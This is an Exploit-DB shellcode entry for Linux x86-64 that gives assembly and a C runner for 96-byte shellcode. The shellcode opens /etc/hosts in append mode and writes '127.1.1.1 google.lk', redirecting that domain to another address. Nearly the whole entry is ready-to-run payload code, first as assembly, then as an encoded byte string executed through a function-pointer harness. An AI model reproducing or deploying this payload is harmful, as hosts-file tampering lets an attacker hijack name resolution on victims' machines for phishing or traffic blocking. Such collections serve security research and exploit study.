Linux/x86-64 - Add Map (127.1.1.1 google.lk) In /etc/hosts Shellcode (96 bytes)

EDB-ID: 43552
Author: 0x4ndr3
Published: 2018-01-13
CVE: N/A
Type: Shellcode
Platform: Linux_x86-64
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Shellcode: Download / View Raw
Shellcode Size: 96 bytes

 global _start 
     section .text 
 _start: 
     ;open 
     push 2 
     pop rax 
     xor rdi, rdi 
     push rdi ; 0x00 
     mov rbx, 0x7374736f682f2f2f ; ///hosts 
     push rbx 
     mov rbx, 0x2f2f2f2f6374652f ; /etc//// 
     push rbx 
     push rsp 
     pop rdi 
     xor rsi,rsi 
     mov sil,4 
     sal rsi,8 
     mov sil,1 
     syscall 
     ;write 
     push rax 
     pop rdi 
     push 1 
     pop rax 
     jmp data 
 write: 
     pop rsi 
     push len ; length in rdx 
     pop rdx 
     syscall 
     ;close 
     push 3 
     pop rax 
     syscall 
     ;exit 
     push 60 
     pop rax 
     xor rdi, rdi 
     syscall 
 data: 
     call write 
     text db '127.1.1.1 google.lk' 
     len equ $-text 
 */ 
  
 #include<stdio.h> 
 #include<string.h> 
 unsigned char code[] = \ 
 "\x6a\x02\x58\x48\x31\xff\x57\x48\xbb\x2f\x2f\x2f\x68\x6f\x73\x74\x73\x53\x48\xbb\x2f\x65\x74\x63\x2f\x2f\x2f\x2f\x53\x54\x5f\x48\x31\xf6\x40\xb6\x04\x48\xc1\xe6\x08\x40\xb6\x01\x0f\x05\x50\x5f\x6a\x01\x58\xeb\x13\x5e\x6a\x13\x5a\x0f\x05\x6a\x03\x58\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05\xe8\xe8\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b"; 
 void main() 
 { 
 	printf("Shellcode Length:  %lu\n", strlen(code)); 
 	int (*ret)() = (int(*)())code; 
 	ret(); 
 }

Source: www.exploit-db.com